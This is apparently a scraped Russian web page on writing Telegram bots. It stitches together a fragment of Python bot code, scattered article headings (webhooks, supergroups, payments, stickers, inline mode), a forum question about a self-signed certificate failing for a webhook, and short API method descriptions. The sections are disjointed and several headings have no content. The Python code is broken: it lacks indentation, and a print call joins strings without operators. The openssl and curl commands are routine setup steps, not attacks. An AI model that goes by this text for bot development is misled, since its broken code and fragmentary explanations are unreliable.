msg = bot.send_message(chat_id, 'Такого порога нет. Введите порог корректно.')
bot.register_next_step_handler(msg, askRating)
return
task.myFilter = task.filters_code_names[1][filters.index(text)]
msg = bot.send_message(chat_id, 'Сколько страниц парсить?', reply_markup=m.amount_markup)
bot.register_next_step_handler(msg, askAmount)
def askAmount(message):
chat_id = message.chat.id
text = message.text.lower()
if not text.isdigit():
msg = bot.send_message(chat_id, 'Количество страниц должно быть числом. Введите корректно.')
bot.register_next_step_handler(msg, askAmount)
return
if int(text) < 1 or int(text) > 5:
msg = bot.send_message(chat_id, 'Количество страниц должно быть >0 и <6. Введите корректно.')
bot.register_next_step_handler(msg, askAmount)
return
task.isRunning = False
print(task.mySource " | " task.myFilter ' | ' text) #
output = ''
if task.mySource == 'top':
output = parser.getTitlesFromTop(int(text), task.myFilter)
else:
output = parser.getTitlesFromAll(int(text), task.myFilter)
msg = bot.send_message(chat_id, output, reply_markup=m.start_markup)
bot.polling(none_stop=True)
Ура! С кодом впринципе разобрались. Теперь самое важное — деплоинг бота не хероку.
На чём пишут телеграм-ботов
Бот должен уметь отправлять запросы Телеграм-серверу и получать от него апдейты (updates, обновления).
Оформление бота
Открыв бота, пользователи могут увидеть его профиль.
Платежи через ботов
Телеграм предоставляет ботам возможность принимать платежи от пользователей. Это делается через провайдеров ЮMoney, Сбербанк, Stripe и ещё 7.
Эта возможность используются редко, потому что для использования провайдеров нужно юридическое лицо.
Поздравляю!
Работа окончена, бот работает удалённо.
Приватность и геопозиция в инлайне
Когда пользователь вызывает инлайн-режим, бот не может получить никакую информацию о контексте, кроме информации о пользователе. Таким образом, бот не может узнать ни чат, в котором вызвали инлайн, ни сообщение, на которое пользователь отвечает.
Пример:
The
Примечание:
- При подключенном и настроенном вебхуке метод getUpdates не будет работать.
- При использовании самоподписанного сертификата, вам необходимо загрузить публичный ключ с помощью параметра
certificate
. - На текущий момент отправка обновлений через вебхуки доступна только на эти порты: 443, 80, 88, 8443.
Проблема с сертификатом в telegram
Использую сервер с ISPmanager 5.8, ОС Ubuntu Server 16.04.
Порт 443 открыт, доступ извне есть. Генерирую ключ такой командой:
openssl req -newkey rsa:2048 -sha256 -nodes -keyout tele.key -x509
-days 365 -out tele.pem -subj “/C=RU/ST=Krasnodar Krai/L=Tuapse/O=telegram/CN=tele.zhirov.su”
Далее, что я делаю… Через Sublime открываю tele.key и tele.pem, копирую код в ISPmanager при создании сертификата
В доменном имени сайта прикрепляю этот сертификат – всё успешно. Браузер видит сертификат.
Далее – отправляю телеграму tele.pem ключ:
<form action="https://api.telegram.org/botТОКЕНБОТА/setwebhook" enctype="multipart/form-data">
<input type="hidden" name="url" value="https://tele.zhirov.su/bot.php">
<input type="file" name="certificate">
<input type="submit" value="Отправить данные">
</form>
В ответ приходит:
{“ok”:true,”result”:true,”description”:”Webhook was set”}
Проверяю командой getWebhookInfo, получаю такое на выходе:
{“ok”:true,”result”:{“url”:”https://tele.zhirov.su/bot.php“,”has_custom_certificate”:false,”pending_update_count”:0,”last_error_date”:1485273410,”last_error_message”:”SSL
error {336134278, error:14090086:SSL
routines:ssl3_get_server_certificate:certificate verify
failed}”,”max_connections”:40}}
Так же пробовал отправлять и такой командой через терминал:
curl -F "url=https://tele.zhirov.su/bot.php" -F "certificate=tele.pem" "https://api.telegram.org/botТОКЕНБОТА/setwebhook"
Что делать, я уже не знаю… Может сертификат не правильно добавляю или отправляю?
Результаты инлайн-режима
Результаты можно отображать двумя способами:
Можно совмещать два типа, но корректно отображается это только на Telegram Desktop.
Создание наборов стикеров
Боты (и только боты!) могут создавать наборы стикеров. При этом каждый набор стикеров должен принадлежать какому-то пользователю. Посмотреть свои наборы стикеров пользователь может с помощью бота @Stickers.
Строим цепочку ответов.
Пришло время закончить с элементарными действиями и начать что-то серьёзное. Попробуем построить цепочку ответов. Для этого нам понадобиться register_next_step_handler(). Создадим простой пример, на котором и разберёмся как работает register_next_step_handler().
Супергруппы
На самом деле многие группы в Телеграме являются супергруппами.
Почему так? Раньше было четкое разделение на группы и супергруппы. По задумке, супергруппы — это группы для сообществ. Супергруппы могут иметь больше участников, публичные ссылки и другие плюшки.
Со временем, видимо, решили, что это неудобная концепция. Теперь обычная группа становится супергруппой, когда у группы меняются какие-нибудь настройки (подробнее тут). Вот такой костыль.
В этой статье под группами я подразумеваю и супергруппы, и обычные группы.
Супергруппу нельзя обратно превратить в группу. С точки зрения API супергруппа устроена так же, как и канал. Важное отличие супергрупп от обычных групп состоит в нумерации сообщений: о нём чуть ниже.
Теория. методы взаимодействия с ботом.
Мы используем long polling для получения данных о сообщениях от бота.
Установка и настройка pipenv. первый запуск.
Для начала создадим файл, в котором будет основной код бота
Хэндлеры. отвечаем на команды и сообщения
Пришло время научить бота отвечать нам. Возможно даже сделать его ответы полезными.
Часть 1: регистрация бота
Самая простая и описанная часть. Очень коротко: нужно найти бота
Часть 3: получаем сообщения и говорим «привет»
Небольшое отступление. Телеграмм умеет сообщать боту о действиях пользователя двумя способами: через ответ на запрос сервера (Long Poll), и через Webhook, когда сервер Телеграмма сам присылает сообщение о том, что кто-то написал боту. Второй способ явно выглядит лучше, но требует выделенного IP-адреса, и установленного SSL на сервере. В этой статье я хочу рассказать о написании бота, а не настройке сервера, поэтому пользоваться мы будем Long Poll’ом.
Открывайте ваш любимый текстовый редактор, и давайте писать код бота!
Первое, что нужно сделать это импортировать нашу библиотеку и подключить токен бота:
Юзернеймы
При создании бота нужно выбрать юзернейм. После этого поменять его будет очень сложно.
Как поменять юзернейм бота
Inlinequeryresult
This object represents one result of an inline query. Telegram clients currently support results of the following 19 types:
Sendphoto
Use this method to send photos. On success, the sent Message is returned.
Sendmessage
Use this method to send text messages. On success, the sent Message is returned.
Resending files without reuploading
There are two ways of sending a file (photo, sticker, audio etc.). If it‘s a new file, you can upload it using multipart/form-data. If the file is already on our servers, you don’t need to reupload it: each file object has a file_id field, you can simply pass this file_id as a parameter instead.
Sendcontact
Use this method to send phone contacts. On success, the sent Message is returned.
Sendsticker
Use this method to send .webp stickers. On success, the sent Message is returned.
Заключение
Я постарался собрать в одном месте и структурировать информацию о всех возможностях Телеграм-ботов. Большое спасибо vanutp, NToneE и Grinrill за помощь с фактами. Если мы что-то забыли — пишите, исправлю.
Я специально не разделял большую статью на несколько постов, чтобы можно было быстро найти нужную информацию. К тому же, в начале статьи есть её содержание. Так что можете сохранить её к себе и использовать как справочник 🙂
Вообще интерфейс бота (то есть интерфейс чата) имеет много ограничений. Но плохо ли это? Действительно удобнее использовать инструмент, когда это часть привычной среды. Я часто прямо в переписке нахожу нужную картинку или информацию с помощью инлайн-ботов. Как заядлый пользователь Телеграма, я люблю использовать ботов. И создаю ботов. И вы создавайте.
Inlinequeryresultarticle
Represents a link to an article or web page.
Sendlocation
Use this method to send point on the map. On success, the sent Message is returned.
Sendgame
Этот метод используется для отправки игры в виде обычного сообщения. В случае успеха возвращает объект с отправленным сообщением Message.
Sendvenue
Use this method to send information about a venue. On success, the sent Message is returned.